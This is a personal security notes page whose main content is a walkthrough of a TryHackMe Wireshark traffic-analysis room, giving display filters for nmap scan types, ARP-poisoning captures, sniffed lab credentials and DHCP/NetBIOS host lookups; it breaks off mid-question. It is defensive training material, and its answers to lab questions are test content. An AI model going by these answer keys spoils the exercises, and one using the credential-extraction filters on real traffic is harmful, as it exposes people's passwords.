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  • CND
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        • PERSONAL WEBSITE
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      • CYBER
        • PERSONAL CYBER RANGE
    • SELF DEVELOPMENT
      • TRAINING PLATFORMS
      • PREP MATERIALS
        • OPERATOR DEVELOPMENT & INTEGRATION EFFORT (ODIE) ASSESSMENT
        • COMPUTER NETWORK ASSESSMENT BATTERY (CNAB)
        • COMPUTER NETWORK OPERATIONS QUALIFICATION COURSE (CNOQC)
        • COMPUTER NETWORK OPERATIONS DEVELOPMENT PROGRAM (CNODP)
        • DATA ENGINEER
        • CYBER COMMON TECHNICAL CORE (CCTC)
      • WRITEUPS/WALKTHROUGHS
        • HTB ACADEMY
          • 01.BUG BOUNTY HUNTER
          • 02.PENETRATION TESTER
        • HTB LABS
          • STARTING POINT
            • TIER 0
              • 01.MEOW (TELNET)
              • 02.FAWN (FTP)
              • 03.DANCING (SMB)
              • 04.REDEEMER (REDIS DB - ANONYMOUS ACCESS)
              • 05.EXPLOSION (RDP - WEAK CREDS)
              • 06.PREIGNITION (WEB FORM LOGIN)
              • 07.MONGOD (MONGODB)
              • 08.SYNCED (RSYNC)
            • TIER 1
              • 01.APPOINTMENT (SQL INJECTION)
              • 02.SEQUEL (MYSQL)
              • 03.CROCODILE (FTP & WEB FORM LOGIN)
              • 04.RESPONDER (RFI, NTLM CAPTURE, PW CRACKING & WINRM)
              • 05.THREE (AWS S3 BUCKET)
              • 06.IGNITION (DIRECTORY ENUMERATION & BRUTE FORCE)
              • 07.BIKE (SSTI)
              • 08.FUNNEL (PASSWORD SPRAYING & LOCAL PORT FORWARDING)
              • 09.PENNYWORTH (GROOVY SCRIPTING & REVERSE SHELL)
              • 10.TACTICS (SMB)
            • TIER 2
              • 01.ARCHETYPE (PRIVESC & MSSQL SERVER)
              • 02.OOPSIE
              • 03.VACCINE
              • 04.UNIFIED
              • 04.INCLUDED
              • 05.MARKUP
              • 06.BASE
          • INTRO TO BLUE TEAM
            • BRUTUS (SSH)
            • BFT (MFT)
            • UNIT42 (SYSMON/EVENT LOGS)
            • I-LIKE-TO
        • THM
          • ADVENT OF CYBER
            • 2024
            • 2023
            • 2022
          • SOC LEVEL 1
            • PRACTICAL EXERCISES
              • NETWORK SECURITY & TRAFFIC ANALYSIS
                • SNORT
                • NETWORK MINER
                • ZEEK
                • BRIM
                • WIRESHARK: BASICS
                • WIRESHARK: PACKET OPERATIONS
                • WIRESHARK: TRAFFIC ANALYSIS
                • TSHARK: THE BASICS
                • TSHARK: CLI WIRESHARK FEATURES
              • ENDPOINT SECURITY MONITORING
                • INTRO TO ENDPOINT SECURITY
            • SKILLS ASSESSMENT
              • NETWORK SECURITY & TRAFFIC ANALYSIS
                • SNORT CHALLENGE (BASICS)
                • SNORT CHALLENGE (LIVE ATTACKS)
                • ZEEK EXERCISES
                • TSHARK CHALLENGE I: TEAMWORK
                • TSHARK CHALLENGE II: DIRECTORY
              • ENDPOINT SECURITY MONITORING
        • HOLIDAY HACK CHALLENGE (SANS)
          • 2024:SNOW-MAGGEDON
      • PROVING GROUNDS
        • ADVENT OF CYBER: SIDE QUEST (THM)
          • 2024
        • CMU
        • CYBER FLAG
        • PRESIDENT'S CUP
        • MEC-T
      • COLLEGE
        • 03.DAKOTA STATE UNIVERSITY (DSU)
          • 2025
            • 01.CSC428: REVERSE ENGINEERING
          • 2024
            • 01.CSC314: ASSEMBLY LANGUAGE
            • 02.CSC300: DATA STRUCTURES
              • 01.C++ OVERVIEW: CLASSES & DATA ABSTRACTION
              • 02.OBJECT ORIENTED DESIGN & C++
              • 03.POINTERS
              • 04.ARRAY-BASED LIST
              • 05.LINKED LISTS
              • 06.DOUBLY LINKED LIST
              • 07.STACKS
              • 08.QUEUES
              • 09.BINARY TREES
          • 2023
            • 01.CSC250: COMPUTER SCIENCE II
            • 02.CSC334: WEB DEVELOPMENT
            • 03.MATH201: INTRODUCTION TO DISCRETE MATHEMATICS
        • 02.UNIVERSITY OF ARIZONA (UA)
        • 01.TECHNICAL COLLEGE OF THE LOWCOUNTRY
          • 2010
          • 2009
      • NOTES
  • PLAYBOOK
    • DCO
      • 01.PRE-ENGAGEMENT
        • PLAN
          • PDSS
            • 02.ROE
          • MISSION ANALYSIS
        • PREPARE
          • MPN
          • HSMC
            • 01.CTI
            • 02.DETECTION ENGINEERING
      • 02.ENGAGEMENT
        • EXECUTE
          • 01.PRE-HUNT
            • TAP/SENSOR DEPLOYMENT
          • 02.THREAT HUNTING
            • 01.TRAFFIC ANALYSIS
              • LOW-HANGING FRUIT
                • HOST IDENTIFICATION
                  • WIRESHARK
                  • TSHARK
                • CLEARTEXT CREDENTIALS
                  • WIRESHARK
                • CLEARTEXT PROTOCOLS
                  • WIRESHARK
                    • FTP ANALYSIS
                    • HTTP ANALYSIS
                    • LOG4J ANALYSIS
                • DNS QUERIES
                  • TSHARK
                • USER-AGENTS
                  • TSHARK
              • PORT SCANS
                • WIRESHARK
                • KIBANA
                • SPLUNK
              • ARP POISONING
                • WIRESHARK
              • TUNNELING (DNS/ICP)
                • WIRESHARK
                  • ICMP TUNNELING
                  • DNS TUNNELING
              • ENCRYPTED PROTOCOLS
                • WIRESHARK
                  • HTTPS ANALYSIS
                    • SNI INSPECTION
                    • ENCRYPTION KEY LOG FILE
            • 02.LOG ANALYSIS
          • INCIDENT RESPONSE
            • 01.PREPARATION
            • 02.IDENTIFICATION
            • 03.CONTAINMENT
            • 04.ERADICATION
            • 05.RECOVERY
            • 06.LESSONS LEARNED
          • FORENSICS
            • 01.ACQUISITION
            • MALWARE ANALYSIS
            • REVERSE ENGINEERING
        • ASSESS
      • 03.POST-ENGAGEMENT
        • DEBRIEF
        • DOCUMENTATION
          • MISSION DEFENSE PLAN/RISK MITIGATION PLAN
            • VULNERABILITY GUIDE
    • OCO
      • 01.PRE-ENGAGEMENT
        • 01.PDSS
        • 02.ROE
        • 03.RESOURCE DEVELOPMENT
          • 01.INFRASTRUCTURE DEVELOPMENT
          • 02.MALWARE DEVELOPMENT
          • 03.EXPLOIT DEVELOPMENT
      • 02.ENGAGEMENT
        • 01.IN
          • 01.PRE-ACCESS
            • 01.VPN CONNECTION
            • 02.ANALYST LOGGING
            • 03.OPNOTES
          • 02.INITIAL ACCESS/FOOTHOLD
            • INFORMATION GATHERING
              • RECONNAISSANCE
              • VULNERABILITY ASSESSMENT
                • WEB SERVERS
                  • SOURCE CODE REVIEW
                  • VULNERABILITY IDENTIFICATION
                    • SEARCHSPLOIT
                    • EXPLOIT DB
                  • VULNERABILITY SCANNING
                    • NIKTO
                    • NMAP
            • WEAPONIZATION
              • OBFUSCATION
                • JAVASCRIPT
              • SHELLCODES
              • PASSWORDS/PINS
                • PINS
                • DICTIONARY
                • CUSTOM WORDLIST
                  • USERNAMES
                  • PASSWORDS
              • TROJANS
                • TROJAN BACKDOOR
              • MALICIOUS DOCUMENTS
                • MACRO EMBEDDING DOCX
              • SCRIPTS
                • ENUMERATION
                  • PYTHON
                    • PARAM-FUZZER.PY
                  • BASH
                • WSDL
                  • SQLI
                  • CMD INJECTION
            • DELIVERY
              • SOCIAL ENGINEERING
              • WATERING HOLE
              • SUPPLY CHAIN
              • FILE XFER: INGRESS (UTILITY-BASED)
                • PYTHON HTTP SERVER
                  • WGET/CURL
                • SCP
                • COPY/PASTE
                  • BASE64 ENCODED XFER
            • EXPLOITATION
              • TYPE
                • INJECTIONS
                  • CLIENT-SIDE
                    • CROSS-SITE SCRIPTING (XSS)
                      • XSS DISCOVERY
                        • XSS TESTING (MANUAL)
                        • XSS TESTING (HYBRID)
                      • WEBPAGE DEFACEMENT
                      • XSS PHISHING
                      • XSS SESSION HIJACKING (AKA COOKIE STEALING)
                        • BASIC XSS TESTS
                        • OBTAINING SESSION COOKIES (PHP SERVER)
                        • OBTAINING SESSION COOKIES (NETCAT SERVER)
                    • SQL INJECTION (SQLI)
                      • 01.SQLI DISCOVERY
                        • 01.SQLI TESTING (MANUAL)
                          • URL PARAMETER METHOD
                          • LOGIN FORMS
                        • 01.SQLI TESTING (HYBRID)
                          • SQLMAP
                        • 02.SQLI LOCATION IDENTIFICATION
                      • 02.SQLI DB ENUMERATION
                      • AUTHENTICATION BYPASS
                      • CREDENTIAL DUMPING
                      • SQLI READING FILES
                      • SQLI WRITING WEB SHELL FILES
                    • COMMAND INJECTION
                      • 01.DISCOVERY
                      • FILTER EVASION/BYPASS
                        • FRONT-END VALIDATION: CUSTOMIZED HTTP REQUEST
                        • SPACE & NEW LINE CHARACTERS
                        • SLASH & BACKSLASH
                        • BLACKLISTED CHARACTERS
                        • BLACKLISTED CMDS
                        • ADVANCED CMD OBFUSCATION
                      • EVASION TOOLS
                    • HTML INJECTION
                    • XML EXTERNAL EXTITY (XXE)
                      • DISCOVERY
                        • WINDOWS
                      • INFORMATION DISCLOSURE
                      • INFORMATION TAMPERING
                        • RCE
                      • EXFILTRATION
                        • OOB BLIND DATA EXFIL
                          • XXEINJECTOR (AUTOMATED)
                      • IMPACT
                        • DOS
                    • CROSS-SITE REQUEST FORGERY (CSRF/XSRF)
                      • DISCOVERY
                      • CSRF BYPASS
                      • TRIGGERS
                        • W/O ANTI-CSRF TOKEN
                        • WITH ANTI-CSRF TOKEN (GET METHOD)
                        • WITH ANTI-CSRF TOKEN (POST METHOD)
                        • CHAINING (XSS & CSRF)
                          • MAKING PROFILE PUBLIC
                          • ADDING A FUNCTION TO THE PROFILE PAGE
                        • WEAK CSRF TOKENS
                  • SERVER-SIDE
                    • SSRF
                      • 01.DISCOVERY
                        • BLIND SSRF
                      • ENUMERATION
                      • LFI
                    • SSTI
                      • IDENTIFICATION
                      • JINJA (EXPLOITATION)
                      • TWIG (EXPLOITATION)
                      • HANDLEBARS NODEJS (EXPLOITATION)
                        • PAYLOAD
                    • SSI INJECTION
                      • SSI (EXPLOITATION)
                    • XSLT INJECTION
                      • IDENTIFICATION
                      • XSLT INJECTION (EXPLOITATION)
                • FILE UPLOADS
                  • 01.DISCOVERY
                  • FILTER EVASION/BYPASS
                    • CLIENT-SIDE VALIDATION
                      • BACK-END REQUEST MODIFICATION
                      • DISABLING FRONT-END VALIDATION
                    • BACK-END VALIDATION
                      • BLACKLIST EXTENSION FILTERS
                      • WHITELIST EXTENSION FILTERS
                      • CONTENT TYPE FILTER
                  • UPLOAD EXPLOITATION
                    • WEB SHELL
                      • CUSTOM WEB SHELLS
                        • PHP WEB SHELL
                        • .NET WEB SHELL
                        • HTML FORM SHELL
                    • REVERSE SHELLS
                      • CUSTOM REVERSE SHELLS
                    • LIMITED FILE UPLOADS
                      • EMBEDDED JAVASCRIPT (XSS)
                      • XML EXTERNAL ENTITY (XXE)
                    • TFTP
                  • ARBITRARY FILE UPLOAD
                • BRUTE FORCE
                  • WEB
                    • BASIC HTTP AUTHENTICATION
                    • WEB LOGIN FORMS
                      • HYDRA
                      • FFUF
                    • PASSWORD RESET: TOKENS
                    • 2FA
                    • LOW-HANGING FRUIT
                      • EMPTY/DEFAULT PWS
                      • DEFAULT CREDENTIALS
                    • PASSWORD RESET: SECURITY QUESTIONS
                    • PIN CRACKING
                    • SESSION TOKENS
                      • IDENTIFICATION
                      • TAMPERING/FORGING SESSION TOKENS
                  • EXPOSED SERVICES
                    • SSH
                    • FTP
                    • RDP
                    • SMB
                    • SNMP
                  • PASSWORD CRACKING (OFFLINE)
                    • HASH IDENTIFICATION
                    • JOHN THE RIPPER
                    • HASHCAT
                • AUTHENTICATION BYPASS
                  • DIRECT ACCESS
                  • PARAMETER MODIFICATION
                  • HTTP VERB TAMPERING
                    • INSECURE CONFIGURATION
                    • INSECURE CODING
                  • SESSION ATTACKS
                    • SESSION HIJACKING
                    • SESSION FIXATION
                      • DISCOVERY
                • WI-FI
                  • WPA/WPA2 CRACKING
                • IDOR
                  • IDENTIFICATION
                  • INFORMATION DISCLOSURE
                    • PLAINTEXT REFERENCES
                    • PARAMETER MANIPULATION & COOKIE TAMPERING
                    • ENCODED REFERENCES
                  • INFORMATION ALTERATION
                    • INSECURE FUNCTION CALLS
                • FILE INCLUSION
                  • LFI
                    • DISCOVERY
                      • FUZZING FOR LFI PAYLOADS (AUTOMATED)
                        • EXTRA PAYLOADS
                    • BASIC BYPASSES
                    • SOURCE CODE DISCLOSURE
                    • RCE
                      • FILE UPLOADS
                      • LOG FILE POISONING
                        • PHP SESSION POISONING
                        • SERVER LOG POISONING
                  • RFI
                    • DISCOVERY
                    • RCE
                • OPEN REDIRECT
                  • DISCOVERY
                  • CREDENTIAL THEFT
                • RCE MS SQL
              • CVE
            • DEFENSE EVASION
            • PERSISTENCE
              • SSH DIRECTORY
            • COMMAND & CONTROL
              • SHELLS
                • BIND SHELL
                  • BASH
                  • PYTHON
                  • POWERSHELL
                • REVERSE SHELL
                  • BASH
                  • PHP
                  • POWERSHELL
                  • GROOVY (JENKINS)
                • WEB SHELL
                  • PHP
                  • JSP
                  • ASP
                • SSH
              • INTERACTIVE SHELLS
        • 02.THROUGH
          • DISCOVERY
            • 01.HOST
            • 02.SERVICES
            • 02.VULNERABILITY ASSESSMENT
          • ENUMERATION
            • SYSTEM ENUMERATION
              • WINPEAS
          • PRIVILEGE ESCALATION
            • WINDOWS
              • IDENTIFICATION
                • AUTOMATED SCRIPTS
                  • WINPEAS
                  • SEATBELT
                  • JAWS
              • EXECUTION
                • BATCH FILES
                • PSEXEC.PY
                • EXPOSED CREDENTIALS
                  • WEBROOTS
            • LINUX
              • IDENTIFICATION
                • AUTOMATED SCRIPTS
                  • LINENUM
                  • LINUXPRIVCHECKER
                  • LINPEAS
              • EXECUTION
                • EXPOSED CREDENTIALS
                  • WEBROOTS
                • MISCONFIGURATIONS
                  • SETUID
                  • VI
                  • SSH DIRECTORY
                  • SUDOERS
                • SCHEDULED TASKS
                  • CRON JOBS
          • EXECUTION
          • CREDENTIAL ACCESS
            • SESSION HIJACKING
            • PASSWORD CRACKING
              • JOHN THE RIPPER
                • CRACKING ENCRYPTED FILES (ZIP)
                • CRACKING ENCRYPTED FILES (PDF)
              • HASHCAT
                • CRACKING MD5 HASHES
          • LATERAL MOVEMENT
            • NETWORK PIVOTING
              • PORT FORWARDING
                • LOCAL PORT FORWARDING
              • TUNNELING
        • 03.OUT
          • COLLECTION
          • EXFILTRATION
            • SCP
          • IMPACT
            • DOS
              • XXE PAYLOAD DOS
              • DECOMPRESSION BOMB
              • PIXEL FLOOD
              • REGEX DOS
                • DISCOVERY
            • TIMING ATTACKS
              • RACE CONDITIONS
            • MITM
              • WEBSOCKETS
          • OBJECTIVES
      • 03.POST-ENGAGEMENT
        • 00.BDA
        • 01.ARTIFACT CLEARING
        • 02.INFRASTRUCTURE RESET
        • 03.DEBRIEF
          • INTERNAL
          • EXTERNAL
        • 04.DOCUMENTATION
          • REPORT
        • 05.LESSONS LEARNED
    • DEV
      • C
    • SRE
      • REVERSE ENGINEERING
        • ANALYSIS
          • 01.REBASING: IDENTIFYING BASE ADDRESS (IF REQUIRED)
          • 02.IDENTIFYING MAIN() IN STRIPPED BINARIES
          • 03.IDENTIFYING GLOBAL VARIABLES
          • C CODE CONSTRUCTS IN ASSEMBLY
            • GLOBAL & LOCAL VARIABLES
            • ARITHMETIC OPERATIONS
            • FUNCTION CALLS
            • ARRAYS
            • STRUCTS
            • LINKED-LIST TRAVERSAL
            • FLOW CONTROL
              • IF STATEMENTS
              • SWITCH STATEMENTS
              • LOOPS
        • STRING PATCHING
        • BINARY PATCHING
        • STACK MAPPING
      • ANTI-DEBUGGING
      • SOFTWARE EXPLOITATION
        • STACK REDIRECTION
        • SHELLCODE
        • DISASSEMBLER/GHIDRA SCRIPTING
        • FORMAT STRINGS
        • ENVIRONMENT VARS
        • BUFFER OVERFLOWS
          • DISABLING ASLR (LINUX)
        • VULNERABLE C FUNCTIONS
  • ENGINEERING
    • INSTALLATION PROCEDURES
    • CONFIGURATION PROCEDURES
      • WEB
        • BASIC HTTP AUTHENTICATION
        • CSRF PROTECTED FORM
      • NETWORKING
        • CISCO SWITCH
          • VLAN TRUNKS
          • PORT SECURITY
        • CISCO ROUTER
  • SYSTEM ADMINISTRATION
    • LINUX
      • NETWORKING
        • RESTART NETWORK SERVICES
        • LOCAL DNS RESOLUTION
      • LOCATING
      • FILE SHARING
      • PACKAGES
        • NORDVPN
      • OS
        • KALI
    • WINDOWS
      • DISK PARTITIONING
        • DISKPART
      • ACTIVE DIRECTORY
        • PASSWORD
        • DOMAIN USER
      • OPEN SSH
        • PRIVATE KEY PERMISSIONS
      • LOCAL DNS RESOLUTION
  • TOOLING
    • DCO
      • CYBER THREAT INTELLIGENCE (CTI)
        • OPENCTI
        • MALWARE INFORMATION SHARING PLATFORM (MISP)
      • DETECTION ENGINEERING
        • HOST
          • NETWORK MINER
        • NETWORK
          • SNORT
            • SELF-TEST MODE
            • SNIFFER MODE
            • PACKET LOGGER MODE
            • IDS/IPS MODE
            • PCAP READING MODE
            • RULE WRITING
              • SAMPLE RULES
              • MAGIC NUMBERS
      • THREAT HUNTING
        • NETWORK ANALYSIS
          • IDS/IPS
            • SNORT
            • SURICATA
          • PACKET ANALYZER
            • WIRESHARK
              • MERGING PCAPS
              • FINDING SPECIFIC STRINGS/PACKETS
              • EXPORTING PACKETS
              • EXPORTING OBJECTS
              • CREATING PROFILES
              • BOOKMARKING FILTERS
              • PACKET FILTERING
                • OPERATORS & FUNCTIONS
                • PROTOCOL FILTERS
                  • IP FILTERS
                  • TCP/UDP FILTERS
                  • APPLICATION FILTERS
                • FILTER BUILDER
              • CREATING FW RULES
            • TSHARK
              • SNIFFING TRAFFIC
                • CAPTURE FILTERS
              • READING CAPTURE FILE
                • DISPLAY FILTERS
                • OUTPUT FORMAT SELECTOR
              • FOLLOWING DATA STREAMS
              • EXTRACTING DATA
              • PACKET FILTERING
                • DISPLAYING PACKET STATISTICS
                • ADVANCED FILTERING
            • TCPDUMP
              • EXTRACTING INFORMATION
          • SIEM
            • ELASTIC STACK
            • SECURITY ONION
            • SPLUNK
          • NSM
            • ZEEK
              • MODES
              • LOGS
              • SIGNATURES
                • HTTP CLEARTEXT PASSWORD DETECTION
                • FTP BRUTE FORCE DETECTION
              • SCRIPTING
              • EVENT CORRELATION
              • FRAMEWORK
                • FILE FRAMEWORK | HASHES
                • FILE FRAMEWORK | EXTRACT FILES
                • NOTICE FRAMEWORK | INTELLIGENCE
                • CLEARTEXT SUBMISSION OF PWDS
                • GEO-LOCATION DATA
              • PACKAGES
        • HOST ANALYSIS
          • YARA
          • FLOSS
          • BRIM
            • QUERIES
            • QUERY REFERENCE
          • SYSINTERNALS
            • TCPVIEW
            • PROCESS EXPLORER
            • SYSMON
              • EXAMPLE CONFIGURATION FILE
              • IMPORTANT EVENT-IDS
          • POWERSHELL
          • WINDOWS EVENT LOGS
            • EXPORTING LOGS
          • OSQUERY
          • EDR
            • WAZUH
      • DFIR
        • EXIFTOOL
        • NETWORK FORENSICS
          • NETWORK MINER
        • FILE SYSTEM
          • MFTECMD
          • TIMELINE EXPLORER
      • ATOMIC RED TEAM
      • UTILITIES
        • JQ
        • .NET SDK
      • REVERSE ENGINEERING
        • DISASSEMBLERS
          • RADARE2
          • GHIDRA
          • IDA PRO
          • BINARY NINJA
          • CUTTER
          • HOPPER
        • DEBUGGERS
          • GDB/GEF
          • GEF
          • X64DBG
          • WINDBG
    • OCO
      • C2
        • COBALT STRIKE
        • SLIVER
        • MYTHIC C2
          • INSTALLATION
            • ON-PREMISE
            • AWS EC2
            • AZURE
          • C2 PROFILES
            • HTTP
          • AGENTS
            • WINDOWS
          • PAYLOAD CREATION
            • AWS CLOUDFRONT IMPLEMENTATION
            • AZURE FRONT DOOR IMPLEMENTATION
            • NGINX CONDITIONAL REDIRECTION IMPLEMENTATION
        • MITRE CALDERA
          • ON-PREMISE
        • HAVOC C2
        • METASPLOIT
      • VPS
        • REDIRECTORS
          • AWS CLOUDFRONT
            • LOAD BALANCER (AWS EC2)
            • CLOUDFRONT
              • GEO RESTRICTION (OPSEC)
          • AZURE FRONT DOOR
            • FRONT DOOR
          • NGINX (AWS EC2/AZURE)
            • C2 AGENT/USER-AGENT CONDITIONAL REDIRECTION (OPSEC)
              • NGINX FW RULE
              • C2 SERVER FW RULE
            • DIRECTORY REDIRECTION (OPSEC)
          • NGINX (ON-PREMISE)
        • PAYLOAD SERVER
          • NGINX (AWS EC2/AZURE)
            • FW RULES
            • CONFIGURATION
              • FACADE FILES
          • PWNDROP
        • PHISHING SERVER
          • EVILGINX (AWS EC2/AZURE)
            • FW RULES
            • HOMOGRAPHS
            • TRIGGERS
              • CREDENTIAL HARVESTING
              • MFA BYPASS
          • GOPHISH
            • FW RULES
            • CONFIGURATION
            • CAMPAIGNS
            • TRIGGERS
              • MALICIOUS DOWNLOADS
      • WIFI
        • ALFA AWUS1900 WIRELESS ADAPTER
          • DRIVERS
      • OSINT
        • FINAL RECON
        • RECON-NG
        • THE HARVESTER
        • SPIDERFOOT
        • OSINT FRAMEWORK
      • UTILITIES
        • 7ZIP
        • BROWSER DEVTOOLS
        • CADAVER
        • CURL
        • CUSTOM WORDLIST
          • USERNAME ANARCHY
          • CUPP
        • DATABASE
          • MYSQL
          • PSQL
        • DIG
        • DNSENUM
        • FIND
        • FTP
        • HTML2TEXT
        • IMPACKET
          • PSEXEC.PY
          • MSSQLCLIENT.PY
        • MULTI-FUNCTION
        • NETCAT
        • NETSTAT
        • NMAP
        • OPENVPN
        • PASSWORD
          • BRUTE FORCE (ONLINE)
            • HYDRA
            • MEDUSA
            • FFUF
            • CRACKMAPEXEC (SMB, ETC)
          • CRACKING (OFFLINE)
            • HASH-ID.PY
            • HASHID
            • JOHN THE RIPPER
            • HASHCAT
        • PRIVESC
          • WINPEAS
        • PROXIES
          • WRAPPER
            • PROXYCHAINS
          • WEB PROXIES
            • BURP SUITE
              • SETTINGS
              • WEB CRAWLING
            • ZED ATTACK PROXY (ZAP)
          • BROWSER PROXIES
            • FIREFOX
            • EXTENSIONS
              • FOXY PROXY
              • PROXY SWITCHYOMEGA (BRAVE BROWSER)
        • REMOTE ACCESS
          • FREERDP
        • RESPONDER
        • RSYNC
        • SCRIPT
        • SEARCHSPLOIT
        • SMBCLIENT
        • SOCAT
        • SQLMAP
          • GET REQUESTS
          • POST REQUESTS
          • BYPASSING WEBAPP PROTECTIONS
            • TAMPER SCRIPTS
          • OS EXPLOITATION
          • SQLI
            • CMD INJECTION
        • SSH
        • SSTIMAP
        • TAC
        • TECHNOLOGY PROFILER
          • WAPPALYZER
        • TEE
        • TMUX
        • TREE
        • VI/VIM
        • WEB CONTENT DISCOVERY
          • GOBUSTER
          • DIRB
        • WGET
        • WPSCAN
        • SNMPWALK
        • ONESIXTYONE
      • RANGE
        • TARGETS
          • DVWA
          • VULNHUB
          • DVLLMA
          • OWASP JUICE SHOP
          • METASPLOITABLE 2
          • METASPLOITABLE 3
    • DEV
      • FUNDAMENTALS
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  • NMAP SCANS
  • ARP POISONING & MITM
  • IDENTIFYING HOSTS | DHCP, NETBIOS & KERBEROS
  • TUNNELING TRAFFIC: DNS & ICMP
  • CLEARTEXT PROTOCOL ANALYSIS: FTP
  • CLEARTEXT PROTOCOL ANALYSIS: HTTP
  • ENCRYPTED PROTOCOL ANALYSIS: DECRYPTING HTTPS
  • BONUS: HUNTING CLEARTEXT CREDENTIALS
  • BONUS: ACTIONABLE RESULTS!
  1. CND
  2. SELF DEVELOPMENT
  3. WRITEUPS/WALKTHROUGHS
  4. THM
  5. SOC LEVEL 1
  6. PRACTICAL EXERCISES
  7. NETWORK SECURITY & TRAFFIC ANALYSIS

WIRESHARK: TRAFFIC ANALYSIS

NMAP SCANS

Use the "Desktop/exercise-pcaps/nmap/Exercise.pcapng" file. What is the total number of the "TCP Connect" scans?

root@dco:~$ Wireshark
WireShark > File > Open > Desktop/exercise-pcaps/nmap/Exercise.pcapng

#step 1: get an overview 
WireShark
 Filter: tcp.flags.syn==1 and tcp.flags.ack==0 and tcp.window_size > 1024
 
WireShark > status bar
  * Packets: 6544 Displayed: 1000 (15.3%)
Use the "Desktop/exercise-pcaps/nmap/Exercise.pcapng" file. Which scan type is used to scan the TCP port 80?
root@dco:~$ Wireshark
WireShark > File > Open > Desktop/exercise-pcaps/nmap/Exercise.pcapng

#step 1: get an overview 
WireShark
 Filter: tcp.port==80
  SYN, SYN/ACK, ACK
 
 * sort the packet list window by "time" in ascending order
Use the "Desktop/exercise-pcaps/nmap/Exercise.pcapng" file. How many "UDP close port" messages are there?
root@dco:~$ Wireshark
WireShark > File > Open > Desktop/exercise-pcaps/nmap/Exercise.pcapng

#step 1: get an overview 
WireShark
 Filter: ticmp.type==3 and icmp.code==3
 
WireShark > status bar
  * Packets: 6544 Displayed: 1083 (16.5%)
Use the "Desktop/exercise-pcaps/nmap/Exercise.pcapng" file. Which UDP port in the 55-70 port range is open?
root@dco:~$ Wireshark
WireShark > File > Open > Desktop/exercise-pcaps/nmap/Exercise.pcapng

#step 1: get an overview 
WireShark
 Filter: (udp.dstport >= 55 && udp.dstport <=70) && !(icmp.code == 3)
 Output: 67 Destination Unreachable/Port Unreachable
 Output: 69 Destination Unreachable/Port Unreachable
 Output: 68
  - must sort the "info" column IOT see that 67 & 69 were unreachable

ARP POISONING & MITM

Use the "Desktop/exercise-pcaps/arp/Exercise.pcapng" file. What is the number of ARP requests crafted by the attacker?
root@dco:~$ Wireshark
WireShark > File > Open > Desktop/exercise-pcaps/arp/Exercise.pcapng

#step 1: get an overview 
WireShark
 Filter: arp.opcode == 1 && eth.src == 00:0c:29:e2:18:b4
 
WireShark > status bar
  * Packets: 2866 Displayed: 284 (9.9%)
Use the "Desktop/exercise-pcaps/arp/Exercise.pcapng" file. What is the number of HTTP packets received by the attacker?
root@dco:~$ Wireshark
WireShark > File > Open > Desktop/exercise-pcaps/arp/Exercise.pcapng

#step 1: get an overview 
WireShark
 Filter: http && eth.dst == 00:0c:29:e2:18:b4
 
WireShark > status bar
  * Packets: 2866 Displayed: 90 (3.1%)
Use the "Desktop/exercise-pcaps/arp/Exercise.pcapng" file. What is the number of sniffed username&password entries?
root@dco:~$ Wireshark
WireShark > File > Open > Desktop/exercise-pcaps/arp/Exercise.pcapng

#step 1: get an overview 
WireShark
 Filter: ((http && eth.dst == 00:0c:29:e2:18:b4) && (http.request.uri == "/userinfo.php")) && (urlencoded-form.key == "uname")
 
WireShark > status bar
 * Packets: 2866 Displayed: 6 (0.2%)
  
 * find the specific key/value (uname) in packet details then select
   "apply as filter" "...and selected"
Use the "Desktop/exercise-pcaps/arp/Exercise.pcapng" file. What is the password of the "Client986"?
root@dco:~$ Wireshark
WireShark > File > Open > Desktop/exercise-pcaps/arp/Exercise.pcapng

#step 1: get an overview 
WireShark
 Filter: (((http && eth.dst == 00:0c:29:e2:18:b4) && (http.request.uri == "/userinfo.php")) && (urlencoded-form.key == "uname")) && (urlencoded-form.value == "client986")
  CTRL+F:
  Packet: Packet Details
  Type: Narrow & Wide
  Case sensitive: disabled
  Search Type: String
  Search: Client354
  
 * clientnothere!
 
 * find the specific key/value (client986) in packet details then select
   "apply as filter" "...and selected"
Use the "Desktop/exercise-pcaps/arp/Exercise.pcapng" file. What is the comment provided by the "Client354"?
root@dco:~$ Wireshark
WireShark > File > Open > Desktop/exercise-pcaps/arp/Exercise.pcapng

#step 1: get an overview 
WireShark
 Filter: ((http && eth.dst == 00:0c:29:e2:18:b4))
 CTRL+F:
  Packet: Packet Details
  Type: Narrow & Wide
  Case sensitive: disabled
  Search Type: String
  Search: Client354
 
 * Nice Work!

IDENTIFYING HOSTS | DHCP, NETBIOS & KERBEROS

Use the "Desktop/exercise-pcaps/dhcp-netbios-kerberos/dhcp-netbios.pcap" file. What is the MAC address of the host "Galaxy A30"?
root@dco:~$ Wireshark
WireShark > File > Open > Desktop/exercise-pcaps/dhcp-netbios-kerberos/dhcp-netbios.pcap

#step 1: get an overview 
WireShark
 Filter: dhcp
  Packet Details > DHCP > Option: (12) Host Name
  ...
  
#step 2: expand the filter
 Filter: lower(dhcp.option.hostname) contains "a30"
 ...
  Packet Details > DHCP > Option: (61) Client Identifier
  Client MAC Addres > Copy > Value
   9a:81:41:cb:96:6c
Use the "Desktop/exercise-pcaps/dhcp-netbios-kerberos/dhcp-netbios.pcap" file. How many NetBIOS registration requests does the "LIVALJM" workstation have?
root@dco:~$ Wireshark
WireShark > File > Open > Desktop/exercise-pcaps/dhcp-netbios-kerberos/dhcp-netbios.pcap

WireShark > Analyze > Display Filter Expression
 Search: nbns
  Field Name: NBNS > nbns.name
  Relation: contains
  Value: n/a
  
  Filter: nbns.name contains "ALJM"
  
  * revise and improve the original filter
  
WireShark > Packet List > packet > Packet Details > NBNS > Flags > right-click ... = Opcode: Registration (5) > Apply as Filter > ...And Selected
 
 Filter: (nbns.name contains "ALJM") && (nbns.flags.opcode == 5)
 
  * Packets: 1800000 Displayed: 16 (0.0%)
Use the "Desktop/exercise-pcaps/dhcp-netbios-kerberos/dhcp-netbios.pcap" file. Which host requested the IP address "172.16.13.85"?
root@dco:~$ Wireshark
WireShark > File > Open > Desktop/exercise-pcaps/dhcp-netbios-kerberos/dhcp-netbios.pcap

WireShark > Analyze > Display Filter Expression
 Search: requested
  Field Name: DHCP/BOOTP > dhcp.option.requested_ip_address
  Relation: ==
  Value: 172.16.13.85
  
  Filter: dhcp.option.requested_ip_address == 172.16.13.85
  
  * revise and improve the original filter
  
WireShark > Packet List > packet > Packet Details > DHCP > DHCP (Request) > right-click option (12) > right-click Host Name > Copy > Value
 Galaxy-A12
Use the "Desktop/exercise-pcaps/dhcp-netbios-kerberos/kerberos.pcap" file. What is the IP address of the user "u5"? (Enter the address in defanged format.)
root@dco:~$ Wireshark
